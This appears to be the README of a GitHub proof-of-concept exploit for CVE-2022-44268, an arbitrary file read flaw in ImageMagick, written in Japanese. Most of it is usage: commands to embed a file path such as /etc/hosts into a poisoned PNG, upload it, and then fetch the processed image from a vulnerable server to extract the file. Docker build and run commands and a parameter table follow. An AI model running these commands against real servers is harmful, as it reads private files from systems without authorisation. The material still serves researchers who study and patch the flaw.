kljunowsky/cve-2022-44268CVE-2022-44268 ImageMagick 任意ファイル読み取り - 概念実証エクスプロイト
CVE-2022-44268 ImageMagick 任意ファイル読み取り - 概念実証エクスプロイト
画像をポイズンする ☣️
python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png
Upload poisoned PNG image.
エクスプロイトが成功したか確認する 🗡
python3 CVE-2022-44268.py --url http://vulnerable-imagemagick.com/uploads/vulnerable.png
ビルド
docker build -t cve-2022-44268 .
実行
docker run -v $(pwd)/data:/data -ti cve-2022-44268 --image /data/random.png --file-to-read "/etc/hosts" --output /data/poisoned.png
| パラメータ |
|---|
| 説明 |
|---|
| 型 |
|---|
| --url | アップロードされたPNG画像のURL | String |
| --image | 入力PNGファイル | File |
| --output | 出力PNGファイル | File |
| --file-to-read | 脆弱なホストから読み取るファイル | String |